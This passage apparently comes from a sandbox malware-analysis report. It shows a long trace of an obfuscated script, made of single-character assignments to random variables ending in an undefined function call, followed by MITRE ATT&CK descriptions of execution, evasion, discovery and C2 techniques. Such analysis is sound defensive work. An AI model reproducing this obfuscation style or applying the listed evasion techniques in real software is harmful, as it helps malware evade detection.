441	ldcnbzqe = "N";
442	ldcnbzqe = "n";
443	ldcnbzqe = "p";
444	ldcnbzqe = "H";
445	ldcnbzqe = "\\";
446	kkeeest = "v";
447	kkeeest = "v";
448	kkeeest = "q";
449	kkeeest = "r";
450	kkeeest = "B";
451	kkeeest = "R";
452	kkeeest = "s";
453	kkeeest = "J";
454	kkeeest = "D";
455	kkeeest = "E";
456	kkeeest = "w";
457	kkeeest = "u";
458	kkeeest = "j";
459	kkeeest = "u";
460	kkeeest = "C";
461	kkeeest = "c";
462	kkeeest = "f";
463	kkeeest = "m";
464	kkeeest = "W";
465	kkeeest = "h";
466	kkeeest = "N";
467	kkeeest = "J";
468	kkeeest = "k";
469	kkeeest = "d";
470	kkeeest = "e";
471	kkeeest = "N";
472	kkeeest = "x";
473	kkeeest = "Q";
474	kkeeest = "0";
475	oysipoqke = "F";
476	oysipoqke = "o";
477	oysipoqke = "O";
478	oysipoqke = "Q";
479	oysipoqke = "u";
480	oysipoqke = "f";
481	oysipoqke = "u";
482	oysipoqke = "e";
483	oysipoqke = "f";
484	oysipoqke = "R";
485	oysipoqke = "S";
486	oysipoqke = "q";
487	oysipoqke = "y";
488	oysipoqke = "R";
489	oysipoqke = "X";
490	oysipoqke = "o";
491	oysipoqke = "x";
492	oysipoqke = "u";
493	oysipoqke = "a";
494	oysipoqke = "y";
495	oysipoqke = "u";
496	oysipoqke = "t";
497	oysipoqke = "w";
498	oysipoqke = "c";
499	oysipoqke = "p";
500	oysipoqke = "L";
501	oysipoqke = "T";
502	oysipoqke = "O";
503	oysipoqke = "y";
504	oysipoqke = "W";
505	oysipoqke = "F";
506	oysipoqke = "N";
507	oysipoqke = "O";
508	oysipoqke = "P";
509	oysipoqke = "o";
510	oysipoqke = "J";
511	oysipoqke = "A";
512	oysipoqke = "Y";
513	oysipoqke = "A";
514	oysipoqke = "C";
515	oysipoqke = "X";
516	oysipoqke = "U";
517	oysipoqke = "u";
518	oysipoqke = "U";
519	zzyxyi = "F";
520	zzyxyi = "p";
521	zzyxyi = "h";
522	zzyxyi = "I";
523	zzyxyi = "k";
524	zzyxyi = "R";
525	zzyxyi = "K";
526	zzyxyi = "X";
527	zzyxyi = "r";
528	zzyxyi = "G";
529	zzyxyi = "G";
530	zzyxyi = "H";
531	zzyxyi = "I";
532	zzyxyi = "G";
533	zzyxyi = "o";
534	zzyxyi = "k";
535	zzyxyi = "m";
536	zzyxyi = "J";
537	zzyxyi = "g";
538	zzyxyi = "z";
539	zzyxyi = "O";
540	zzyxyi = "W";
541	zzyxyi = "f";
542	zzyxyi = "R";
543	zzyxyi = "v";
544	zzyxyi = "L";
545	zzyxyi = "X";
546	zzyxyi = "a";
547	zzyxyi = "s";
548	higigvht = "N";
549	higigvht = "O";
550	higigvht = "M";
551	higigvht = "n";
552	higigvht = "y";
553	higigvht = "t";
554	higigvht = "y";
555	higigvht = "T";
556	higigvht = "b";
557	higigvht = "Y";
558	higigvht = "A";
559	higigvht = "J";
560	higigvht = "z";
561	higigvht = "Q";
562	higigvht = "b";
563	higigvht = "Y";
564	higigvht = "X";
565	higigvht = "j";
566	higigvht = "I";
567	higigvht = "t";
568	higigvht = "l";
569	higigvht = "S";
570	higigvht = "B";
571	higigvht = "g";
572	higigvht = "w";
573	higigvht = "j";
574	higigvht = "R";
575	higigvht = "u";
576	higigvht = "O";
577	higigvht = "q";
578	higigvht = "d";
579	higigvht = "A";
580	higigvht = "B";
581	higigvht = "N";
582	higigvht = "B";
583	higigvht = "E";
584	higigvht = "Q";
585	higigvht = "Z";
586	higigvht = "e";
587	higigvht = "o";
588	higigvht = "q";
589	higigvht = "K";
590	wxrixo = "U";
591	wxrixo = "o";
592	wxrixo = "C";
593	wxrixo = "D";
594	wxrixo = "l";
595	wxrixo = "v";
596	wxrixo = "I";
597	wxrixo = "p";
598	wxrixo = "S";
599	wxrixo = "s";
600	wxrixo = "g";
601	wxrixo = "O";
602	wxrixo = "A";
603	wxrixo = "L";
604	wxrixo = "R";
605	wxrixo = "w";
606	wxrixo = "O";
607	wxrixo = "p";
608	wxrixo = "U";
609	wxrixo = "I";
610	wxrixo = "b";
611	wxrixo = "q";
612	wxrixo = "l";
613	wxrixo = "L";
614	wxrixo = "O";
615	wxrixo = "t";
616	wxrixo = "j";
617	wxrixo = "F";
618	wxrixo = "p";
619	wxrixo = "i";
620	wxrixo = "h";
621	wxrixo = "u";
622	oqyng = "g";
623	oqyng = "_";
624	bguapme = "s";
625	bguapme = "H";
626	bguapme = "c";
627	bguapme = "A";
628	bguapme = "q";
629	bguapme = "F";
630	bguapme = "s";
631	bguapme = "T";
632	bguapme = "n";
633	bguapme = "H";
634	bguapme = "i";
635	bguapme = "A";
636	bguapme = "d";
637	bguapme = "r";
638	bguapme = "Z";
639	bguapme = "Z";
640	bguapme = "k";
641	bguapme = "l";
642	bguapme = "E";
643	upycdexx = "V";
644	upycdexx = "c";
645	upycdexx = "W";
646	upycdexx = "O";
647	upycdexx = "W";
648	upycdexx = "u";
649	upycdexx = "m";
650	upycdexx = "E";
651	upycdexx = "H";
652	upycdexx = "x";
653	upycdexx = "h";
654	upycdexx = "s";
655	upycdexx = "g";
656	upycdexx = "i";
657	upycdexx = "M";
658	upycdexx = "K";
659	upycdexx = "p";
660	upycdexx = "B";
661	upycdexx = "T";
662	upycdexx = "b";
663	upycdexx = "I";
664	upycdexx = "R";
665	upycdexx = "/";
666	tqozcdipt = "s";
667	tqozcdipt = "A";
668	tqozcdipt = "g";
669	tqozcdipt = "O";
670	tqozcdipt = "i";
671	tqozcdipt = "x";
672	tqozcdipt = "u";
673	tqozcdipt = "B";
674	tqozcdipt = "U";
675	tqozcdipt = "y";
676	tqozcdipt = "G";
677	tqozcdipt = "Z";
678	tqozcdipt = "h";
679	tqozcdipt = "E";
680	tqozcdipt = "f";
681	tqozcdipt = "G";
682	tqozcdipt = "s";
683	tqozcdipt = "X";
684	tqozcdipt = "p";
685	tqozcdipt = "L";
686	tqozcdipt = "B";
687	tqozcdipt = "Q";
688	tqozcdipt = "d";
689	tqozcdipt = "T";
690	tqozcdipt = "A";
691	tqozcdipt = "K";
692	tqozcdipt = "g";
693	tqozcdipt = "P";
694	tqozcdipt = "u";
695	tqozcdipt = "J";
696	tqozcdipt = "J";
697	tqozcdipt = "t";
698	tqozcdipt = "W";
699	tqozcdipt = "v";
700	uuonq = "I";
701	uuonq = "e";
702	uuonq = "b";
703	uuonq = "h";
704	uuonq = "w";
705	uuonq = "c";
706	uuonq = "B";
707	uuonq = "M";
708	uuonq = "Z";
709	uuonq = "B";
710	uuonq = "G";
711	uuonq = "d";
712	uuonq = "n";
713	uuonq = "u";
714	uuonq = "I";
715	uuonq = "c";
716	bjfsrwm = "T";
717	bjfsrwm = "S";
718	umcyyoehc = "K";
719	umcyyoehc = "W";
720	umcyyoehc = "h";
721	umcyyoehc = "w";
722	mliuroe = "q";
723	mliuroe = "Q";
724	mliuroe = "5";
725	sknxz = "J";
726	sknxz = "L";
727	sknxz = "q";
728	sknxz = "H";
729	sknxz = "H";
730	sknxz = "i";
731	sknxz = "j";
732	untptg = "Q";
733	untptg = "i";
734	untptg = "X";
735	untptg = "C";
736	untptg = "x";
737	untptg = "S";
738	untptg = "N";
739	untptg = "s";
740	untptg = "I";
741	untptg = "k";
742	untptg = "Q";
743	untptg = "v";
744	untptg = "g";
745	untptg = "F";
746	untptg = "w";
747	untptg = "Q";
748	xmtdost = "P";
749	xmtdost = "Y";
750	xmtdost = "o";
751	xmtdost = "b";
752	xmtdost = "l";
753	xmtdost = "E";
754	xmtdost = "R";
755	xmtdost = "y";
756	xmtdost = "P";
757	xmtdost = "Y";
758	xmtdost = "t";
759	xmtdost = "q";
760	xmtdost = "o";
761	xmtdost = "T";
762	xmtdost = "p";
763	xmtdost = "Z";
764	xmtdost = "L";
765	xmtdost = "i";
766	xmtdost = "b";
767	txpede = "A";
768	txpede = "o";
769	txpede = "z";
770	txpede = "T";
771	txpede = "m";
772	txpede = "F";
773	txpede = "F";
774	txpede = "H";
775	txpede = "l";
776	txpede = "P";
777	txpede = "F";
778	txpede = "c";
779	txpede = "D";
780	txpede = "m";
781	txpede = "t";
782	txpede = "a";
783	txpede = "E";
784	txpede = "m";
785	txpede = "H";
786	txpede = "O";
787	txpede = "x";
788	txpede = "u";
789	txpede = "N";
790	txpede = "Z";
791	txpede = "W";
792	txpede = "L";
793	txpede = "O";
794	txpede = "X";
795	txpede = "n";
796	txpede = "j";
797	txpede = "o";
798	txpede = "x";
799	txpede = "j";
800	txpede = "v";
801	txpede = "n";
802	txpede = "a";
803	txpede = "j";
804	txpede = "e";
805	txpede = "f";
806	txpede = "L";
807	aopfbhu = "t";
808	aopfbhu = "v";
809	aopfbhu = "E";
810	aopfbhu = "R";
811	aopfbhu = "X";
812	aopfbhu = "R";
813	aopfbhu = "O";
814	aopfbhu = "t";
815	aopfbhu = "j";
816	aopfbhu = "k";
817	aopfbhu = "Z";
818	aopfbhu = "v";
819	aopfbhu = "I";
820	aopfbhu = "I";
821	aopfbhu = "r";
822	aopfbhu = "T";
823	aopfbhu = "r";
824	aopfbhu = "W";
825	aopfbhu = "j";
826	aopfbhu = "o";
827	qywda = "T";
828	qywda = "d";
829	qywda = "r";
830	qywda = "P";
831	qywda = "g";
832	qywda = "m";
833	qywda = "E";
834	qywda = "Q";
835	qywda = "B";
836	qywda = "a";
837	qywda = "T";
838	qywda = "c";
839	qywda = "Q";
840	qywda = "L";
841	qywda = "m";
842	qywda = "U";
843	qywda = "z";
844	qywda = "P";
845	qywda = "W";
846	qywda = "e";
847	qywda = "M";
848	qywda = "C";
849	qywda = "v";
850	qywda = "p";
851	qywda = "k";
852	qywda = "W";
853	qywda = "i";
854	qywda = "z";
855	qywda = "Q";
856	qywda = "V";
857	qywda = "n";
858	qywda = "H";
859	qywda = "t";
860	qywda = "B";
861	qywda = "4";
862	lolatqcl = "e";
863	lolatqcl = "D";
864	lolatqcl = "u";
865	lolatqcl = "y";
866	lolatqcl = "u";
867	lolatqcl = "R";
868	lolatqcl = "O";
869	lolatqcl = "H";
870	lolatqcl = "G";
871	lolatqcl = "a";
872	lolatqcl = "p";
873	lolatqcl = "g";
874	lolatqcl = "O";
875	lolatqcl = "a";
876	lolatqcl = "T";
877	lolatqcl = "1";
878	fgxnrf = "f";
879	fgxnrf = "e";
880	cntycallx = "V";
881	cntycallx = "Y";
882	cntycallx = "B";
883	cntycallx = "S";
884	cntycallx = "g";
885	cntycallx = "n";
886	cntycallx = "r";
887	cntycallx = "t";
888	cntycallx = "H";
889	cntycallx = "a";
890	cntycallx = "k";
891	cntycallx = "v";
892	cntycallx = "q";
893	cntycallx = "c";
894	cntycallx = "T";
895	cntycallx = "E";
896	cntycallx = "m";
897	cntycallx = "Z";
898	cntycallx = "Q";
899	cntycallx = "g";
900	cntycallx = "U";
901	cntycallx = "k";
902	cntycallx = "G";
903	cntycallx = "E";
904	cntycallx = "R";
905	cntycallx = "i";
906	cntycallx = "H";
907	cntycallx = "i";
908	cntycallx = "T";
909	cntycallx = "q";
910	cntycallx = "K";
911	cntycallx = "n";
912	cntycallx = "t";
913	cntycallx = "l";
914	cntycallx = "d";
915	cntycallx = "R";
916	cntycallx = "r";
917	cntycallx = "S";
918	cntycallx = "S";
919	cntycallx = "X";
920	cntycallx = "k";
921	cntycallx = "Z";
922	cntycallx = "W";
923	cntycallx = "a";
924	cntycallx = "a";
925	ixjacsb = "h";
926	ixjacsb = "x";
927	ixjacsb = "X";
928	ixjacsb = "t";
929	ixjacsb = "y";
930	ixjacsb = "y";
931	ixjacsb = "e";
932	ixjacsb = "e";
933	ixjacsb = "X";
934	ixjacsb = "X";
935	ixjacsb = "j";
936	ixjacsb = "U";
937	ixjacsb = "q";
938	ixjacsb = "x";
939	ixjacsb = "@";
940	nqeswmt = "x";
941	nqeswmt = "H";
942	nqeswmt = "A";
943	nqeswmt = "J";
944	nqeswmt = "y";
945	nqeswmt = "q";
946	nqeswmt = "e";
947	nqeswmt = "E";
948	nqeswmt = "N";
949	nqeswmt = "u";
950	nqeswmt = "e";
951	nqeswmt = "f";
952	nqeswmt = "O";
953	nqeswmt = "r";
954	nqeswmt = "E";
955	nqeswmt = "V";
956	nqeswmt = "d";
957	nqeswmt = "H";
958	nqeswmt = "i";
959	dpxekzkf = "R";
960	dpxekzkf = "A";
961	dpxekzkf = "w";
962	dpxekzkf = "t";
963	dpxekzkf = "C";
964	dpxekzkf = "E";
965	dpxekzkf = "S";
966	dpxekzkf = "n";
967	dpxekzkf = "B";
968	dpxekzkf = "v";
969	dpxekzkf = "N";
970	dpxekzkf = "H";
971	iftmufmj = "h";
972	iftmufmj = "I";
973	iftmufmj = "F";
974	iftmufmj = "c";
975	iftmufmj = "e";
976	iftmufmj = "k";
977	iftmufmj = "c";
978	iftmufmj = "T";
979	iftmufmj = "J";
980	iftmufmj = "e";
981	iftmufmj = "A";
982	iftmufmj = "M";
983	iftmufmj = "F";
984	iftmufmj = "I";
985	iftmufmj = "w";
986	iftmufmj = "j";
987	iftmufmj = "w";
988	iftmufmj = "A";
989	iftmufmj = "w";
990	iftmufmj = "q";
991	iftmufmj = "t";
992	iftmufmj = "Q";
993	iftmufmj = "b";
994	iftmufmj = "y";
995	iftmufmj = "Q";
996	iftmufmj = "a";
997	iftmufmj = "v";
998	iftmufmj = "M";
999	iftmufmj = "q";
1000	iftmufmj = "T";
1001	iftmufmj = "G";
1002	iftmufmj = "g";
1003	iftmufmj = "j";
1004	iftmufmj = "V";
1005	iftmufmj = "N";
1006	iftmufmj = "t";
1007	iftmufmj = "Z";
1008	iftmufmj = "F";
1009	iftmufmj = "a";
1010	iftmufmj = "d";
1011	ydaqrhrk = "M";
1012	ydaqrhrk = "H";
1013	ydaqrhrk = "m";
1014	ydaqrhrk = "R";
1015	ydaqrhrk = "U";
1016	ydaqrhrk = "p";
1017	ydaqrhrk = "y";
1018	ydaqrhrk = "g";
1019	ydaqrhrk = "F";
1020	ydaqrhrk = "f";
1021	ydaqrhrk = "V";
1022	ydaqrhrk = "n";
1023	ydaqrhrk = "C";
1024	ydaqrhrk = "K";
1025	ydaqrhrk = "A";
1026	ydaqrhrk = "q";
1027	ydaqrhrk = "b";
1028	ydaqrhrk = "R";
1029	ydaqrhrk = "s";
1030	ydaqrhrk = "k";
1031	ydaqrhrk = "G";
1032	ydaqrhrk = "P";
1033	ydaqrhrk = "L";
1034	ydaqrhrk = "R";
1035	ydaqrhrk = "S";
1036	ydaqrhrk = "L";
1037	ydaqrhrk = "f";
1038	ydaqrhrk = "Q";
1039	ydaqrhrk = "p";
1040	ydaqrhrk = "w";
1041	ydaqrhrk = "G";
1042	ydaqrhrk = "l";
1043	ydaqrhrk = "O";
1044	ydaqrhrk = "D";
1045	ydaqrhrk = "x";
1046	ydaqrhrk = "k";
1047	ydaqrhrk = "n";
1048	ydaqrhrk = "P";
1049	dzginxtto = "u";
1050	dzginxtto = "Z";
1051	dzginxtto = "N";
1052	dzginxtto = "K";
1053	dzginxtto = "K";
1054	dzginxtto = "d";
1055	dzginxtto = "v";
1056	dzginxtto = "Q";
1057	dzginxtto = "S";
1058	dzginxtto = "b";
1059	dzginxtto = "D";
1060	dzginxtto = "v";
1061	dzginxtto = "I";
1062	dzginxtto = "M";
1063	dzginxtto = "i";
1064	dzginxtto = "u";
1065	dzginxtto = "c";
1066	dzginxtto = "r";
1067	dzginxtto = "N";
1068	dzginxtto = "W";
1069	dzginxtto = "r";
1070	dzginxtto = "V";
1071	dzginxtto = "Q";
1072	dzginxtto = "L";
1073	dzginxtto = "C";
1074	dzginxtto = "C";
1075	dzginxtto = "O";
1076	dzginxtto = "q";
1077	qhzcgslud = "F";
1078	qhzcgslud = "L";
1079	qhzcgslud = "S";
1080	qhzcgslud = "J";
1081	qhzcgslud = "B";
1082	qhzcgslud = "a";
1083	qhzcgslud = "N";
1084	qhzcgslud = "f";
1085	qhzcgslud = "O";
1086	qhzcgslud = "C";
1087	qhzcgslud = "l";
1088	qhzcgslud = "t";
1089	qhzcgslud = "H";
1090	qhzcgslud = "K";
1091	qhzcgslud = "e";
1092	qhzcgslud = "J";
1093	qhzcgslud = "G";
1094	qhzcgslud = "o";
1095	qhzcgslud = "n";
1096	qhzcgslud = "X";
1097	qhzcgslud = "b";
1098	qhzcgslud = "S";
1099	qhzcgslud = "v";
1100	qhzcgslud = "g";
1101	qhzcgslud = "J";
1102	qhzcgslud = "o";
1103	qhzcgslud = "Z";
1104	qhzcgslud = "j";
1105	qhzcgslud = "k";
1106	qhzcgslud = "W";
1107	qhzcgslud = "M";
1108	qhzcgslud = "L";
1109	qhzcgslud = "F";
1110	qhzcgslud = "T";
1111	qhzcgslud = "n";
1112	qhzcgslud = "p";
1113	qhzcgslud = "K";
1114	qhzcgslud = "V";
1115	qhzcgslud = "k";
1116	wgdosht = "L";
1117	wgdosht = "l";
1118	wgdosht = "y";
1119	wgdosht = "q";
1120	wgdosht = "G";
1121	wgdosht = "G";
1122	wgdosht = "S";
1123	wgdosht = "f";
1124	wgdosht = "z";
1125	wgdosht = "M";
1126	wgdosht = "L";
1127	wgdosht = "Z";
1128	wgdosht = "t";
1129	wgdosht = "o";
1130	wgdosht = "f";
1131	wgdosht = "K";
1132	wgdosht = "l";
1133	wgdosht = "f";
1134	oiqauzf = "s";
1135	oiqauzf = "X";
1136	oiqauzf = "g";
1137	oiqauzf = "f";
1138	oiqauzf = "E";
1139	oiqauzf = "J";
1140	oiqauzf = "T";
1141	oiqauzf = "f";
1142	oiqauzf = "e";
1143	oiqauzf = "9";
1144	qlfcfhnx = "s";
1145	qlfcfhnx = "c";
1146	qlfcfhnx = "s";
1147	qlfcfhnx = "u";
1148	qlfcfhnx = "M";
1149	qlfcfhnx = "E";
1150	qlfcfhnx = "u";
1151	qlfcfhnx = "n";
1152	qlfcfhnx = "U";
1153	qlfcfhnx = "U";
1154	qlfcfhnx = "X";
1155	qlfcfhnx = "m";
1156	qlfcfhnx = "m";
1157	qlfcfhnx = "k";
1158	qlfcfhnx = "M";
1159	qlfcfhnx = "x";
1160	qlfcfhnx = "s";
1161	qlfcfhnx = "E";
1162	qlfcfhnx = "l";
1163	qlfcfhnx = "L";
1164	qlfcfhnx = "M";
1165	qlfcfhnx = "Q";
1166	qlfcfhnx = "R";
1167	qlfcfhnx = "A";
1168	qlfcfhnx = "B";
1169	qlfcfhnx = "A";
1170	qlfcfhnx = "T";
1171	qlfcfhnx = "g";
1172	qlfcfhnx = "t";
1173	qlfcfhnx = "S";
1174	qlfcfhnx = "U";
1175	qlfcfhnx = "x";
1176	qlfcfhnx = "P";
1177	qlfcfhnx = "R";
1178	qlfcfhnx = "t";
1179	qlfcfhnx = "x";
1180	qlfcfhnx = "M";
1181	qlfcfhnx = "p";
1182	qlfcfhnx = "N";
1183	qlfcfhnx = "T";
1184	wrglivusv = "I";
1185	wrglivusv = "L";
1186	wrglivusv = "a";
1187	wrglivusv = "y";
1188	wrglivusv = "Y";
1189	wrglivusv = "W";
1190	wrglivusv = "b";
1191	wrglivusv = "C";
1192	wrglivusv = "n";
1193	wrglivusv = "s";
1194	wrglivusv = "K";
1195	wrglivusv = "u";
1196	wrglivusv = "c";
1197	wrglivusv = "m";
1198	wrglivusv = "P";
1199	wrglivusv = "v";
1200	wrglivusv = "f";
1201	wrglivusv = "Z";
1202	wrglivusv = "G";
1203	wrglivusv = "a";
1204	wrglivusv = "R";
1205	wrglivusv = "m";
1206	wrglivusv = "x";
1207	wrglivusv = "w";
1208	wrglivusv = "Z";
1209	wrglivusv = "q";
1210	wrglivusv = "i";
1211	wrglivusv = "F";
1212	wrglivusv = "t";
1213	wrglivusv = "k";
1214	wrglivusv = "d";
1215	wrglivusv = "W";
1216	wrglivusv = "q";
1217	wrglivusv = "d";
1218	wrglivusv = "i";
1219	wrglivusv = "f";
1220	wrglivusv = "v";
1221	wrglivusv = "x";
1222	wrglivusv = "o";
1223	wrglivusv = "k";
1224	wrglivusv = "d";
1225	wrglivusv = "z";
1226	wrglivusv = "Y";
1227	wrglivusv = "M";
1228	wrglivusv = "%";
1229	pehmo = "D";
1230	pehmo = "N";
1231	pehmo = "X";
1232	pehmo = "w";
1233	pehmo = "X";
1234	pehmo = "A";
1235	pehmo = "V";
1236	pehmo = "S";
1237	pehmo = "R";
1238	kdouaxwtm = "I";
1239	kdouaxwtm = "R";
1240	kdouaxwtm = "s";
1241	kdouaxwtm = "m";
1242	zkzqls = "q";
1243	zkzqls = "o";
1244	zkzqls = "B";
1245	zkzqls = "3";
1246	hauqztkxy = "I";
1247	hauqztkxy = "l";
1248	hauqztkxy = "A";
1249	hauqztkxy = "N";
1250	hauqztkxy = "J";
1251	hauqztkxy = "I";
1252	hauqztkxy = "H";
1253	hauqztkxy = "o";
1254	hauqztkxy = "R";
1255	hauqztkxy = "A";
1256	hauqztkxy = "H";
1257	hauqztkxy = "t";
1258	hauqztkxy = "Z";
1259	hauqztkxy = "R";
1260	hauqztkxy = "q";
1261	hauqztkxy = "a";
1262	hauqztkxy = "B";
1263	hauqztkxy = "h";
1264	hauqztkxy = "Q";
1265	hauqztkxy = "I";
1266	hauqztkxy = "m";
1267	hauqztkxy = "i";
1268	hauqztkxy = "n";
1269	hauqztkxy = "u";
1270	hauqztkxy = "l";
1271	hauqztkxy = "x";
1272	hauqztkxy = "e";
1273	hauqztkxy = "K";
1274	hauqztkxy = ".";
1275	weldcn = "C";
1276	weldcn = "a";
1277	weldcn = "A";
1278	weldcn = "f";
1279	weldcn = "F";
1280	eagbeev = "E";
1281	eagbeev = "z";
1282	eagbeev = "t";
1283	eagbeev = "W";
1284	eagbeev = "X";
1285	eagbeev = "n";
1286	eagbeev = "s";
1287	eagbeev = "v";
1288	eagbeev = "y";
1289	eagbeev = "r";
1290	eagbeev = "D";
1291	eagbeev = "b";
1292	eagbeev = "w";
1293	eagbeev = "x";
1294	eagbeev = "g";
1295	peekdbisr = "n";
1296	peekdbisr = "j";
1297	peekdbisr = "T";
1298	peekdbisr = "h";
1299	peekdbisr = "c";
1300	peekdbisr = "f";
1301	peekdbisr = "y";
1302	peekdbisr = "y";
1303	peekdbisr = "T";
1304	peekdbisr = "s";
1305	peekdbisr = "l";
1306	peekdbisr = "E";
1307	peekdbisr = "H";
1308	peekdbisr = "N";
1309	peekdbisr = "k";
1310	peekdbisr = "j";
1311	peekdbisr = "x";
1312	tpfxcnkf ( );	tpfxcnkf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
